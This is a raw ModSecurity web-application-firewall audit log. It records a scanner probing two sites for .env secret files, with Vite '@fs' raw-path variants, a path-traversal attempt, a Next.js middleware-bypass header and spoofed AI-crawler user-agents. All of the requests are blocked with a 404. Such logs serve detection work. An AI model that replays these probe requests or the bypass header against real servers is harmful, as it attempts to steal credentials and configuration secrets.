User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d8d57324-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d8d57324-E--
--d8d57324-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/site/.env"] [unique_id "aqZ-omM7dE9KgIIOpQh5swAAANE"]
Stopwatch: 1789296546380673 13681 (- - -)
Stopwatch2: 1789296546380673 13681; combined=19633, p1=283, p2=4421, p3=103, p4=9, p5=7428, sr=130, sw=1, l=0, gc=7388
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8d57324-Z--
--94cd6131-A--
[13/Sep/2026:13:49:06.661987 +0300] aqZ-oisVWymXUono-eRWBQAAAAg 34.80.249.255 52078 127.0.0.1 7081
--94cd6131-B--
GET /.docker/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--94cd6131-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--94cd6131-E--
--94cd6131-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.docker/.env"] [unique_id "aqZ-oisVWymXUono-eRWBQAAAAg"]
Stopwatch: 1789296546652767 9287 (- - -)
Stopwatch2: 1789296546652767 9287; combined=7709, p1=284, p2=7235, p3=132, p4=9, p5=48, sr=123, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--94cd6131-Z--
--dd1aef33-A--
[13/Sep/2026:13:49:06.662684 +0300] aqZ-ojTJ6xTvcJoem7f8KQAAAFA 34.80.249.255 52084 127.0.0.1 7081
--dd1aef33-B--
GET /portal/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--dd1aef33-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--dd1aef33-E--
--dd1aef33-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/portal/.env"] [unique_id "aqZ-ojTJ6xTvcJoem7f8KQAAAFA"]
Stopwatch: 1789296546657110 5647 (- - -)
Stopwatch2: 1789296546657110 5647; combined=4341, p1=265, p2=3937, p3=66, p4=7, p5=66, sr=124, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dd1aef33-Z--
--c498b42d-A--
[13/Sep/2026:13:49:07.140540 +0300] aqZ-o0wu1RSkptiiNIX7IAAAAIM 34.80.249.255 52138 127.0.0.1 7081
--c498b42d-B--
GET /@fs/.env?raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c498b42d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c498b42d-E--
--c498b42d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/.env"] [unique_id "aqZ-o0wu1RSkptiiNIX7IAAAAIM"]
Stopwatch: 1789296547135363 5230 (- - -)
Stopwatch2: 1789296547135363 5230; combined=3890, p1=295, p2=3474, p3=70, p4=9, p5=41, sr=127, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c498b42d-Z--
--950dc557-A--
[13/Sep/2026:13:49:07.215855 +0300] aqZ-o2M7dE9KgIIOpQh5tQAAAMk 34.80.249.255 52140 127.0.0.1 7081
--950dc557-B--
GET /@fs/root/.env?raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--950dc557-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--950dc557-E--
--950dc557-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/root/.env"] [unique_id "aqZ-o2M7dE9KgIIOpQh5tQAAAMk"]
Stopwatch: 1789296547207111 8917 (- - -)
Stopwatch2: 1789296547207111 8917; combined=6808, p1=615, p2=5910, p3=95, p4=12, p5=175, sr=179, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--950dc557-Z--
--8f632200-A--
[13/Sep/2026:13:54:04.281469 +0300] aqaAzGM7dE9KgIIOpQh6OAAAANg 35.236.177.61 58756 127.0.0.1 7081
--8f632200-B--
GET /.env?raw HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8f632200-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8f632200-E--
--8f632200-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaAzGM7dE9KgIIOpQh6OAAAANg"]
Stopwatch: 1789296844274959 6582 (- - -)
Stopwatch2: 1789296844274959 6582; combined=4289, p1=265, p2=3850, p3=77, p4=56, p5=41, sr=110, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8f632200-Z--
--4404271e-A--
[13/Sep/2026:13:54:05.115710 +0300] aqaAzTTJ6xTvcJoem7f8TAAAAE0 35.236.177.61 58954 127.0.0.1 7081
--4404271e-B--
GET /.env?import&raw HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4404271e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--4404271e-E--
--4404271e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaAzTTJ6xTvcJoem7f8TAAAAE0"]
Stopwatch: 1789296845106402 9411 (- - -)
Stopwatch2: 1789296845106402 9411; combined=6473, p1=395, p2=4847, p3=79, p4=8, p5=1143, sr=178, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4404271e-Z--
--25347864-A--
[13/Sep/2026:13:54:05.144078 +0300] aqaAzSsVWymXUono-eRWMAAAAA8 35.236.177.61 58972 127.0.0.1 7081
--25347864-B--
GET /.env?import&url&inline HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--25347864-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--25347864-E--
--25347864-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaAzSsVWymXUono-eRWMAAAAA8"]
Stopwatch: 1789296845137536 6598 (- - -)
Stopwatch2: 1789296845137536 6598; combined=4707, p1=316, p2=4173, p3=152, p4=10, p5=56, sr=126, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--25347864-Z--
--033b8f19-A--
[13/Sep/2026:13:54:05.203609 +0300] aqaAzWM7dE9KgIIOpQh6RwAAANM 35.236.177.61 58986 127.0.0.1 7081
--033b8f19-B--
GET /.env.local?raw HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--033b8f19-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--033b8f19-E--
--033b8f19-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6RwAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6RwAAANM"]
Stopwatch: 1789296845169389 34313 (- - -)
Stopwatch2: 1789296845169389 34313; combined=32561, p1=327, p2=32082, p3=90, p4=10, p5=52, sr=166, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--033b8f19-Z--
--b0e27f14-A--
[13/Sep/2026:13:54:05.242553 +0300] aqaAzWM7dE9KgIIOpQh6SAAAAMw 35.236.177.61 58998 127.0.0.1 7081
--b0e27f14-B--
GET /.env.local?import&raw HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b0e27f14-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b0e27f14-E--
--b0e27f14-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6SAAAAMw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6SAAAAMw"]
Stopwatch: 1789296845206349 36312 (- - -)
Stopwatch2: 1789296845206349 36312; combined=34522, p1=290, p2=34094, p3=76, p4=8, p5=54, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b0e27f14-Z--
--937c2a41-A--
[13/Sep/2026:13:54:05.503316 +0300] aqaAzWM7dE9KgIIOpQh6SwAAANQ 35.236.177.61 59046 127.0.0.1 7081
--937c2a41-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--937c2a41-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--937c2a41-E--
--937c2a41-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/src/.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6SwAAANQ"]
Stopwatch: 1789296845495831 7540 (- - -)
Stopwatch2: 1789296845495831 7540; combined=5988, p1=1879, p2=3986, p3=74, p4=7, p5=42, sr=1682, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--937c2a41-Z--
--2936cf5d-A--
[13/Sep/2026:13:54:05.544663 +0300] aqaAzSsVWymXUono-eRWMQAAABY 35.236.177.61 59058 127.0.0.1 7081
--2936cf5d-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2936cf5d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--2936cf5d-E--
--2936cf5d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/@fs/app/.env.local"] [unique_id "aqaAzSsVWymXUono-eRWMQAAABY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/app/.env.local"] [unique_id "aqaAzSsVWymXUono-eRWMQAAABY"]
Stopwatch: 1789296845510973 33763 (- - -)
Stopwatch2: 1789296845510973 33763; combined=31920, p1=299, p2=31463, p3=81, p4=9, p5=67, sr=133, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2936cf5d-Z--
--d63b6947-A--
[13/Sep/2026:13:54:05.645066 +0300] aqaAzWM7dE9KgIIOpQh6TAAAAM4 35.236.177.61 33736 127.0.0.1 7081
--d63b6947-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d63b6947-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d63b6947-E--
--d63b6947-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6TAAAAM4"]
Stopwatch: 1789296845639221 5910 (- - -)
Stopwatch2: 1789296845639221 5910; combined=4097, p1=278, p2=3592, p3=162, p4=7, p5=58, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d63b6947-Z--
--7a3bb027-A--
[13/Sep/2026:13:54:05.686318 +0300] aqaAzWM7dE9KgIIOpQh6TQAAAMU 35.236.177.61 33746 127.0.0.1 7081
--7a3bb027-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7a3bb027-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7a3bb027-E--
--7a3bb027-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
